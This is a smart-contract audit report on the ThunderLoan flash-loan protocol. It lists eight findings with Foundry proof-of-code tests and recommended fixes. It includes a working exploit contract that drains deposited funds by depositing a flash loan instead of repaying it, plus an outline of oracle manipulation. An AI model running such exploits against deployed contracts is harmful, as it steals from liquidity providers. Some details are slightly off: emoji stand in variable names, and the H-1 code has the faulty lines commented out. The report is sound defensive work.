

ThunderLoan Audit Report

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Protocol Summary

The ThunderLoan protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. These AssetTokens gain interest over time depending on how often people take out flash loans!

Disclaimer

David Rodriguez security researcher makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the [CodeHawks](#) severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
3bb18274ae8d6f72b49f79a6621223a17a9a2038
```

Scope

```
#-- interfaces
|  #-- IFlashLoanReceiver.sol
|  #-- IPoolFactory.sol
|  #-- ITSwapPool.sol
|  #-- IThunderLoan.sol
#-- protocol
|  #-- AssetToken.sol
|  #-- OracleUpgradeable.sol
|  #-- ThunderLoan.sol
#-- upgradedProtocol
|  #-- ThunderLoanUpgraded.sol
```

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Issues found

Severity	Number of issues found
High	3

Severity	Number of issues found
Medium	2
Low	3
Total	8

Findings

High

[H-1] Erroneous `ThunderLoan::updateExchangeRate` in the `ThunderLoan::deposit` function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate

Description In the ThunderLoan system, the `exchangeRate` is responsible for calculating the exchange rate between asset tokens and underlying tokens. In a way it's responsible for keeping track of how many fees to give liquidity providers.

However, the `deposit` function updates this rate without collecting any fees!

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount)
revertIfNotAllowedToken(token) {
    AssetToken assetToken = s_tokenToAssetToken[token];
    uint256 exchangeRate = assetToken.getExchangeRate();
    uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) /
exchangeRate;
    emit Deposit(msg.sender, token, amount);
    assetToken.mint(msg.sender, mintAmount);

    @> // uint256 calculatedFee = getCalculatedFee(token, amount);
    @> // assetToken.updateExchangeRate(calculatedFee);

    token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

Impact There are several impacts to this bug.

1. The `redeem` function is blocked, because the protocol thinks the amount to be redeemed is more than it's balance.
2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than they deserve.

Proof of Concepts

1. LP deposits
2. User takes out a flash loan
3. It is now impossible for LP to redeem

► Proof of Code

Place the following into ThunderLoanTest.t.sol:

```
function testRedeemAfterLoan() public setAllowedToken hasDeposits {
    uint256 amountToBorrow = AMOUNT * 10;
    uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
    tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);

    vm.startPrank(user);
    thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA, amountToBorrow,
    "");
    vm.stopPrank();

    uint256 amountToRedeem = type(uint256).max;
    vm.startPrank(liquidityProvider);
    thunderLoan.redeem(tokenA, amountToRedeem);
}
```

Recommended mitigation Remove the incorrect `updateExchangeRate` lines from `deposit`

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount)
revertIfNotAllowedToken(token) {
    AssetToken assetToken = s_tokenToAssetToken[token];
    uint256 exchangeRate = assetToken.getExchangeRate();
    uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) /
exchangeRate;
    emit Deposit(msg.sender, token, amount);
    assetToken.mint(msg.sender, mintAmount);

    - uint256 calculatedFee = getCalculatedFee(token, amount);
    - assetToken.updateExchangeRate(calculatedFee);

    token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

[H-2] By calling a flashloan and then `ThunderLoan::deposit` instead of `ThunderLoan::repay` users can steal all funds from the protocol

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Proof of Concepts

1. Attacker executes a `flashloan`

2. Borrowed funds are deposited into **ThunderLoan** via a malicious contract's **executeOperation** function
3. **Flashloan** check passes due to check vs starting AssetToken Balance being equal to the post deposit amount
4. Attacker is able to call **redeem** on **ThunderLoan** to withdraw the deposited tokens after the flash loan as resolved.

Add the following to ThunderLoanTest.t.sol and run **forge test --mt testUseDepositInsteadOfRepayToStealFunds**

► Proof of Code

```
function testUseDepositInsteadOfRepayToStealFunds() public setAllowedToken
hasDeposits {
    uint256 amountToBorrow = 50e18;
    DepositOverRepay dor = new DepositOverRepay(address(thunderLoan));
    uint256 fee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
    vm.startPrank(user);
    tokenA.mint(address(dor), fee);
    thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "");
    dor.redeemMoney();
    vm.stopPrank();

    assert(tokenA.balanceOf(address(dor)) > fee);
}

contract DepositOverRepay is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    AssetToken assetToken;
    IERC20 s_token;

    constructor(address _thunderLoan) {
        thunderLoan = ThunderLoan(_thunderLoan);
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, /*initiator*/
        bytes calldata /*params*/
    )
        external
        returns (bool)
    {
        s_token = IERC20(token);
        assetToken = thunderLoan.getAssetFromToken(IERC20(token));
        s_token.approve(address(thunderLoan), amount + fee);
        thunderLoan.deposit(IERC20(token), amount + fee);
        return true;
    }
}
```

```
function redeemMoney() public {
    uint256 amount = assetToken.balanceOf(address(this));
    thunderLoan.redeem(s_token, amount);
}
}
```

Recommended mitigation ThunderLoan could prevent deposits while an AssetToken is currently flash loaning.

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount)
revertIfNotAllowedToken(token) {
+   if (s_currentlyFlashLoaning[token]) {
+       revert ThunderLoan__CurrentlyFlashLoaning();
+   }
    AssetToken assetToken = s_tokenToAssetToken[token];
    uint256 exchangeRate = assetToken.getExchangeRate();
    uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) /
exchangeRate;
    emit Deposit(msg.sender, token, amount);
    assetToken.mint(msg.sender, mintAmount);

    uint256 calculatedFee = getCalculatedFee(token, amount);
    assetToken.updateExchangeRate(calculatedFee);

    token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

[H-3] Mixing up variable location causes storage collisions in ThunderLoan: 🙄_flashLoanFee and ThunderLoan: 🙄_currentlyFlashLoaning

Description: `ThunderLoan.sol` has two variables in the following order:

```
uint256 private s_feePrecision;
uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, the expected upgraded contract `ThunderLoanUpgraded.sol` has them in a different order.

```
uint256 private s_flashLoanFee; // 0.3% ETH fee
uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the positions of storage variables when working with upgradeable contracts.

Impact: After upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee. Additionally the `s_currentlyFlashLoaning` mapping will start on the wrong storage slot.

Proof of Code:

► Code

```
// You'll need to import `ThunderLoanUpgraded` as well
import { ThunderLoanUpgraded } from
"../../src/upgradedProtocol/ThunderLoanUpgraded.sol";

function testUpgradeBreaks() public {
    uint256 feeBeforeUpgrade = thunderLoan.getFee();
    vm.startPrank(thunderLoan.owner());
    ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
    thunderLoan.upgradeTo(address(upgraded));
    uint256 feeAfterUpgrade = thunderLoan.getFee();

    assert(feeBeforeUpgrade != feeAfterUpgrade);
}
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

Recommended mitigation Do not switch the positions of the storage variables on upgrade, and leave a blank if you're going to replace a storage variable with a constant. In `ThunderLoanUpgraded.sol`:

```
-    uint256 private s_flashLoanFee; // 0.3% ETH fee
-    uint256 public constant FEE_PRECISION = 1e18;
+    uint256 private s_blank;
+    uint256 private s_flashLoanFee;
+    uint256 public constant FEE_PRECISION = 1e18;
```

Medium

[M-1] Centralization risk for trusted owners

Impact:

Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

Instances (2):

File: `src/protocol/ThunderLoan.sol`


```

223:     function setAllowedToken(IERC20 token, bool allowed) external onlyOwner
returns (AssetToken) {

261:     function _authorizeUpgrade(address newImplementation) internal override
onlyOwner { }

```

Contralized owners can brick redemptions by disapproving of a specific token

[M-2] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description: The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity providers will drastically reduced fees for providing liquidity.

Proof of Concept:

The following all happens in 1 transaction.

1. User takes a flash loan from **ThunderLoan** for 1000 **tokenA**. They are charged the original fee **fee1**. During the flash loan, they do the following:
 1. User sells 1000 **tokenA**, tanking the price.
 2. Instead of repaying right away, the user takes out another flash loan for another 1000 **tokenA**.
 1. Due to the fact that the way **ThunderLoan** calculates price based on the **TSwapPool** this second flash loan is substantially cheaper.

```

function getPriceInWeth(address token) public view returns (uint256) {
    address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token);
@>    return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
}

```

3. The user then repays the first flash loan, and then repays the second flash loan.

I have created a proof of code located in **ThunderLoanTest.t.sol** file. It is too large to include here.

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.

Low

[L-1] Empty Function Body - Consider commenting why

Instances (1):

File: src/protocol/ThunderLoan.sol

```
261:     function _authorizeUpgrade(address newImplementation) internal override
onlyOwner { }
```

[L-2] Initializers could be front-run

Initializers could be front-run, allowing an attacker to either set their own values, take ownership of the contract, and in the best case forcing a re-deployment

Instances (6):

File: src/protocol/OracleUpgradeable.sol

```
11:     function __Oracle_init(address poolFactoryAddress) internal
onlyInitializing { }
```

File: src/protocol/ThunderLoan.sol

```
138:     function initialize(address tswapAddress) external initializer {
138:     function initialize(address tswapAddress) external initializer {
139:         __Ownable_init();
140:         __UUPSUpgradeable_init();
141:         __Oracle_init(tswapAddress);
```

[L-3] Missing critical event emissions

Description: When the `ThunderLoan::s_flashLoanFee` is updated, there is no event emitted.

Recommended Mitigation: Emit an event when the `ThunderLoan::s_flashLoanFee` is updated.

```
+     event FlashLoanFeeUpdated(uint256 newFee);
.
.
.
function updateFlashLoanFee(uint256 newFee) external onlyOwner {
    if (newFee > s_feePrecision) {
        revert ThunderLoan__BadNewFee();
    }
    s_flashLoanFee = newFee;
+     emit FlashLoanFeeUpdated(newFee);
}
```

